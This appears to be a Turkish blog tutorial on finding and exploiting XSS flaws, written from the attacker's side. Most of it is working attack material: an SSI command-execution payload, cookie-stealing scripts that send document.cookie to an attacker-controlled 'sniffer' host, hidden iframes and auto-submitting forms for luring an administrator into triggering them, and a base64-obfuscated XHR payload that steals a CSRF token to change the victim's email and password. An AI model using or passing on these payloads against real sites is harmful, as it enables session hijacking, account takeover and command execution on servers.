Dijital Pazarlama - Seo Ajansı

XSS Açıkları ve Kullanma Yöntemleri

Bu yazıda XSS (Cross Site Scripting - Çapraz Siteden Betik Çalıştırma) saldırılarının kullanımından bahsedeceğim. Bulma yöntemlerini az çok biliyorsunuzdur zaten.

Bu açık türü de nerdeyse tüm web application açık türleri gibi, Input Validation eksikliğinden kaynaklanır.


Yani dışarıdan kullanıcının girebildiği parametrelerin filtrelenmemesinden kaynaklanır. Bildiğiniz gibi sql injection da bu sebeple ortaya çıkmaktadır. Ama bu saldırı türünde sayfada "html" veya "javascript" kodları çalıştırmak mümkündür.


Açığa sebebiyet verecek karakterler webmasterın sayfayı kodlarken ne şekilde kodladığına göre değişir ancak en yaygınları ( ", ' , < , > ) karakterleridir.

Kaça ayrılır?
Çeşitli sınıflandırmalar piyasada mevcut ama ben kendim sınıflandıracak olursam şu şekilde sınıflandırırım.

Reflected XSS
İngilizce terimlere takılmayın, mantık şudur: dışarıdan alınan parametre, filtrelenmemiş bir vaziyette sayfaya yansır. Doğal olarak dışarıdan "html" kodu alınırsa da sayfada bu kod çalışacaktır. Veya bir html tag'inin bir attribute'ünü kapatarak yeni attribute'ler (örn: onmouseover="zararlıkod") eklemek de sayfada javascript kod çalıştırmaya imkan sağlayacaktır.

Bu XSS türü chrome'un xss filtresi tarafından, webmaster bir istisna tanımlamadıysa engellenmektedir.
Chrome XSS filtresi, dışarıdan alınan parametrelerde html kodu varsa ve bu kod sayfaya yansıyorsa bu kodu çalıştırmaz. Bypass yöntemleri vardır, ancak uğraşmadım.

Stored(Persistent , Kalıcı) XSS
Bu xss türünde saldırganın girdiği zararlı kodlar veritabanında veya bir sayfada tutulur. Bu veriler daha sonra açıklı sayfa ziyaret edildiğinde çalıştırılmış olur. Bu XSS türü en tehlikelisidir çünkü buna karşı chrome ve diğer tarayıcılar default ayarlarla bir önlem alamaz. Çünkü saldırı kodu dışarıdan yalnızca bir kez parametre olarak alınmıştır ve veritabanına işlenmiştir. Açıklı sayfalar bu kodu veritabanından çağıracağı için dışarıdan herhangi bir parametre alındığı düşünülemez. Bu xss türünün sıkça rastlandığı sayfalar şunlardır; kayıt formları, iletişim formları..

DOM XSS (document object model)
Bu xss açık türü, kullanıcıdan alınan, doğrudan servera gönderilen veya tarayıcı tarafından client side olarak alınan ancak düzgün filtrelenmemiş parametrelerin javascript kodlarında yorumlanarak çalıştırması sonucu ortaya çıkar.
Yani bu xss açık türü client side'da da(Örn; # hashtag kullanılarak url üzerinden gönderilen, daha doğrusu javascriptte hashtag'den alınarak kullanılan parametreler) server tarafında da efektif olabilir. Eğer açık client side olarak kullanılabiliyorsa server log'larına düşmeyecektir ve tespit edilmeyecektir.
Her neyse bu xss türünde mantık, açığın javascript kodlarından kaynaklanmasıdır. Kullanım açısından normal xss den pek bi farkı yoktur. Onda yapılabilen hemen her şey bunda da yapılabilir.

XSS İLE NELER YAPILABİLİR?
En tehlikeliden başlayalım;

1) SSI Injection
SSI (server side include) shtml sayfaların çalışma mantığıdır. Sayfa html olsa bile yorum satırı arasına yazılan komutlar client side değil, server side olarak çalıştırılır.
Örnek kullanım şekli şudur;

  • <!--#echo var="DATE_LOCAL"-->

örneğin yukarıdaki satır bir .shtml sayfada bulunursa; veya sayfa shtml olmasa, php,asp,aspx ve hatta html olsa bile web application serverda SSI ayarları açıksa, ekrana sistem tarih saatini basacaktır.

Bu özelliği xss ile kombo çekersek sistemde komut çalıştırmamız mümkün olur.
örneğin;

  • http://site.com/index.php?ara=xss

açığımız olsun

  • http://site.com/index.php?ara=<!--#echo var="DATE_LOCAL"-->


gönderdiğimizde sayfada tarihi görüyorsak SSI komutları çalıştırabiliriz demektir.
SSI komutlarına aşağıda detaylı bi şekilde erişebilirsiniz;
http://www.w3.org/Jigsaw/Doc/User/SSI.html
ama benim favorim;

  • <!--#exec cmd="ls -la"-->


Not: Dom xss te çıktılar javascript üzerinden alınıp tarayıcı tarafından üretildiği için, doğrudan response a yansımadığı için SSI injection'a çevirme lüksüne sahip değiliz.


2) COOKIE Çalma;
Bildiğiniz üzere XSS ile javascript çalıştırabiliriz, bu da demektir ki javascript üzerinden erişilebilen her şeye erişebiliriz.
Buna document.cookie nesnesi de dahil.
Peki cookie yi nasıl çalarız?

Açıklı parametre GET metodu ile alınıyorsa;

  • http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>

Burada "a" sayfası kendi hazırladığımız javascript'tir. Kullandığım sniffer'dan örnek verecek olursam şuna benzer bi kod barındırır;

  • i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'+document.cookie+'  '+document.location


Burada javascript kodu üzerinden bir image nesnesi oluşturulur ve

  • http://sniffersitemiz.com/log.php?'+document.cookie+'  '+document.location

verileri img src edilir.
log.php sayfamızda ise dışarıdan gelen değerleri loglarız.
Bu sayede document.cookie ve document.location değerlerini loglamış oluruz.

  • <script src=http://sniffersitemiz.com/a></script> yerine
  • <script>i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'%2bdocument.cookie%2b'  '+document.location</script>

kodunu da kullanabilirdik, burada amaç karmaşıklığı azaltmak ve mümkün olduğunca özel karakter kullanmamak.

Peki bunu admine nasıl tıklatırız?
Adama doğrudan

  • http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>

şeklinde link atarsanız muhtemelen tıklamayacaktır.
Onun yerine 2 farklı yöntem kullanabilirsiniz
1. yöntem "ara=" dan sonraki tüm karakterleri hex formatında yazmaktır. Ancak çoğu tarayıcı artık özel karakterler dışındakileri hex formatında yazsanız da karakter olarak gösterdiğinden eskisi gibi iş görmüyor.
Onun yerine en mantıklısı size ait bir sitede sayfaya şuna benzer bir kod eklemenizdir;

  • <iframe src="http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>" height=0 width=0>


Daha sonra adama http://benimsitem.com/sayfa.html şeklinde iframe kodlu sayfa'nın linkini atmaktır.

POST metoduyla alınan parametre üzerinde var olan XSS açığının kullanımı;
Örneğin xss imiz "ara" parametre'sini get değil de post metodu ile alıyor olsun;
POST dedimmi akla "form" gelir.
Önce şu şekilde bir form hazırlarız;

<form action="http://site.com/index.php" method=post>
<input name=ara value="<script src=http://sniffersitemiz.com/a></script>">
</form>


Bu formu hazırlasak bile açıldığında kendi kendine post yaptırmamız lazım. O yüzden şu javascript kodunu da sayfanın sonuna ekliyoruz.
<script>
document.forms[0].submit();
</script>

Bu kod sayfa ziyaret edildiği anda formu otomatik post yapacaktır.

<form action="http://site.com/index.php" method=post>
<input name=ara value="<script src=http://sniffersitemiz.com/a></script>">
</form>
<script>
document.forms[0].submit();
</script>


Sayfamızı "xss.htm" olarak kaydettik ve sayfayı admine direk atmayacağımıza göre kendi sitemize yükledik.
"http://benimsitem.com/xss.htm" şeklinde linkimiz oldu.
Ancak bunu da admine direk attığımızda açar açmaz form yönleneceği için kıllanma ihtimali yüksek. Tekrar iframe li sayfa hazırlıyoruz.

  • <iframe src="http://benimsitem.com/xss.htm" height=0 width=0>

ve bu kodu örneğin index.html sonuna ekliyoruz.
Admine http://benimsitem.com linkini atıyoruz ve admin tıkladığında arka planda cookie'ler bize geliyor.

NOT:
HttpOnly cookieler;
Server cookie üretirken sonuna  "; HttpOnly" eklediyse, tarayıcı bu cookielere erişimi javascripte kısıtlar. Yani javascriptin document.cookie nesnesinde bu cookieleri göremezsiniz. Eskiden bu kısıtlama Trace metodu ile Set-Cookie response headerı okunarak aşılabiliyordu. Normalde bu header'a javascript istekleriyle erişemezsiniz. Ancak akıllandılar ve bu yöntem de yalan oldu.

 Geriye tek bir yöntem kalır.

CSRF
Bildiğiniz gibi csrf, "csrf token" parametresi veya HTTP header'lar üzerinden kod doğrulaması yapmayan sayfalarda kullanıcıya otomatik istek göndertme saldırılarıdır. Misal bu tip bir saldırı ile kullanıcıya bir sayfa ziyaret ettirilir. Bu sayfaya kendi profili veya ayarları üzerinde değişiklik yaptırtacak forma veya url ye aynı xss te hazırladığımız gibi otomatik gönderecek bir sayfa iframe ettirilir. Kişi sayfayı ziyaret ettiğinde otomatik olarak örneğin email bilgisi güncellenmiş olur.

Ancak dediğimiz gibi artık hemen hemen her script csrf-token kullanmaktadır. Burada XSS ten faydalanırsak, form ziyaret edildiğinde üretilen csrf-token bilgisini çekebiliriz.

Bu iş için XmlHttpRequest ten faydalanacağız. Normalde XHR isteği tarayıcıların güvenlik poliçesi gereği sadece aynı domaine gönderilebilir(same-origin policy). Bu da demektir ki 
"http://site.com/profil.php" ye "http://site.com" altında bir sayfadan istek gönderebiliriz.
Zaten XSS açığımız da bu işe yarayacak..

Saldırı yapılacak sitedeki bilgi güncelleme formu şu şekilde olsun;

<form action=profil.php method=post>
<input name=email>
<input name=password>
<input name=ad>
<input name=soyad>
<input name=csrf-token type=hidden value="abcdedeqrqwrqwrqwr231erfqe">
</form>


Bu form dikkat ettiyseniz site tarafından üretilmiş bir csrf-token parametresi barındırmaktadır ve kullanıcıdan aldığı tokenle sitedekini karşılaştırıp eşleştirme sağlarsa güncelleme işlemi gerçekleştirmektedir.

Örnek bir XmlHttpRequest kodu aşağıda verilmiştir;


<form action=http://site.com/profil.php method=post>
<input name=email value="hacker@asdqwe.com">
<input name=password value="12345">
<input name=ad value="mal">
<input name=soyad value="mal">
<input name=csrf-token id=csrf-token type=hidden value="">
</form>

<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
a=ayikla(xhr.responseText);
document.getElementById('csrf-token').value=a;
document.forms[0].submit();
}
}
xhr.open('GET', "http://site.com/profil.php", true);
xhr.send(null);
</script>


Bu kodda en üstte formumuz mevcuttur. Bu form postlandığında girdiğimiz değerler güncellenecektir ancak csrf-tokeni bilmemekteyiz.
Yukarıdaki javascript kodları çalıştığında şu adımlar gerçekleşir;

  • http://site.com/profil.php sayfasına istek gönderilir. 
  • Geri dönen yanıt sayfası alınır ve ayıkla fonksiyonuna gönderilir. Burada ayıkla fonksiyonunu yazmadım. Bu fonksiyon profil.php nin ürettiği yanıt sayfasından csrf-token değerini ayıklar.
  • Alınan değer formumuzdaki csrf-token parametresine verilir.
  • Form postlanır.
  • Heklediniz.


Bu kodları xss kodu olarak yazmak zor bir iştir. Neticede uzun ve karmaşık, artı özel karakterlerden oluşan kodlardır.
Önce kodları base64 e çeviririz.

PGZvcm0gYWN0aW9uPWh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIG1ldGhvZD1wb3N0PiA8aW5wdXQgbmFtZT1lbWFpbCB2YWx1ZT0iaGFja2VyQGFzZHF3ZS5jb20iPiA8aW5wdXQgbmFtZT1wYXNzd29yZCB2YWx1ZT0iMTIzNDUiPiA8aW5wdXQgbmFtZT1hZCB2YWx1ZT0ibWFsIj4gPGlucHV0IG5hbWU9c295YWQgdmFsdWU9Im1hbCI+IDxpbnB1dCBuYW1lPWNzcmYtdG9rZW4gaWQ9Y3NyZi10b2tlbiB0eXBlPWhpZGRlbiB2YWx1ZT0iIj4gPC9mb3JtPiAgPHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7ICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gNCkgeyAgIGE9YXlpa2xhKHhoci5yZXNwb25zZVRleHQpOyAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjc3JmLXRva2VuJykudmFsdWU9YTsgICBkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKTsgIH0gfSB4aHIub3BlbignR0VUJywgImh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIiwgdHJ1ZSk7IHhoci5zZW5kKG51bGwpOyA8L3NjcmlwdD4=

Elde etmiş oluruz. Artık XSS li sayfadan saldırı kodunu şu şekilde çağırabiliriz.
 

<script>document.write(atob("PGZvcm0gYWN0aW9uPWh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIG1ldGhvZD1wb3N0PiA8aW5wdXQgbmFtZT1lbWFpbCB2YWx1ZT0iaGFja2VyQGFzZHF3ZS5jb20iPiA8aW5wdXQgbmFtZT1wYXNzd29yZCB2YWx1ZT0iMTIzNDUiPiA8aW5wdXQgbmFtZT1hZCB2YWx1ZT0ibWFsIj4gPGlucHV0IG5hbWU9c295YWQgdmFsdWU9Im1hbCI+IDxpbnB1dCBuYW1lPWNzcmYtdG9rZW4gaWQ9Y3NyZi10b2tlbiB0eXBlPWhpZGRlbiB2YWx1ZT0iIj4gPC9mb3JtPiAgPHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7ICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gNCkgeyAgIGE9YXlpa2xhKHhoci5yZXNwb25zZVRleHQpOyAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjc3JmLXRva2VuJykudmFsdWU9YTsgICBkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKTsgIH0gfSB4aHIub3BlbignR0VUJywgImh0dHA6Ly9zaXRlLmNvbS9wcm9maWwucGhwIiwgdHJ1ZSk7IHhoci5zZW5kKG51bGwpOyA8L3NjcmlwdD4="));</script>


Veya script tag'leri arasındaki kodu kendi sitenize yükleyip, <Script src="
ile de çağırabilirsiniz.

 

lulz a.k.a lulzx!


Yorumunuz..

Daha yeni Daha eski